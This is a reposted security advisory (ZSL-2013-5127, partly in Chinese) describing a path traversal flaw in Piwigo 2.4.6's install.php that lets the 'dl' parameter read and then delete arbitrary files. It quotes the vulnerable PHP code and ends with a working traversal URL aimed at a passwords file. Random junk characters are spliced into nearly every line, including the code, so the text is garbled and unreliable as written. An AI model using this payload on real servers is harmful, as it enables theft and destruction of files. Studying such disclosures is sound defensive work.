Piwigo是用PHP编写的相册脚本。, R' t- `: a9 d/ R4 n. G* r
3 R! n/ P k& @4 }9 y( x* G" j/ KPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。* k, I2 L; ?- A+ c: ?
====================================================================9 ? W2 x0 G2 y7 S
/install.php:/ d, e8 f# C$ L$ I8 N) G
-------------
+ |0 X" A& z! _; f8 r4 B0 ^113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
- }, c2 R; `; E7 v- h1 P114: {
* ^- a- \; k! V! ^/ m/ B+ O115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
% ]% O% ~6 Y+ q" b/ y. _; N( d5 }116: header('Cache-Control: no-cache, must-revalidate');4 {' K- n x$ [4 }% L
117: header('Pragma: no-cache');
6 W* w2 r1 o' p4 A: M118: header('Content-Disposition: attachment; filename="database.inc.php"');2 _+ Q! ^( m) e7 w7 O) P
119: header('Content-Transfer-Encoding: binary');) e+ x" x6 z% P E
120: header('Content-Length: '.filesize($filename));
! _& i3 v5 Z( t0 C, H! ?121: echo file_get_contents($filename);! w9 ?7 C) I. V6 ~' ^, D
122: unlink($filename);
c, |/ X0 }5 `4 ~: v3 m123: exit();$ B, i7 ~+ B$ O/ I
124: }1 F3 o( A1 {* Y9 p9 V) O
====================================================================
6 ^/ o: J5 `$ d0 w / u; T5 J# A4 O& l2 U7 [
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)% N. G7 `/ s' Q
Apache 2.4.2 (Win32)
0 U$ t( z# y _9 O9 k2 v( { PHP 5.4.4
. r" q: P$ q/ v$ X- K' N9 _ MySQL 5.5.25a( C0 b5 v6 }% `" ~( P) ^1 m7 F
8 |3 W& |' m; r8 a- r" m6 h2 k7 ] I
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
: Z+ F6 i- j8 f* j L$ X, E @zeroscience
; A8 Q) u8 K* \* K1 I 5 S/ s4 {: i; f u
Advisory ID: ZSL-2013-5127+ ^9 l0 F2 g# |0 L
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
5 ~& y3 ^1 m7 e+ O8 bVendor Patch: http://piwigo.org/bugs/view.php?id=2843
2 D f2 v x8 P7 [ 3 S$ {, d+ ]) D7 G) @6 y
15.02.20132 s2 X! C+ k" O
& O9 i: T+ t1 ]. P4 V3 [0 p6 q
--, b( H0 f9 N K) p* y; H4 \
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt+ i: q- a5 F! m9 t1 Q
; r9 Z2 r) p7 X5 a% ?5 Y( s8 F: i |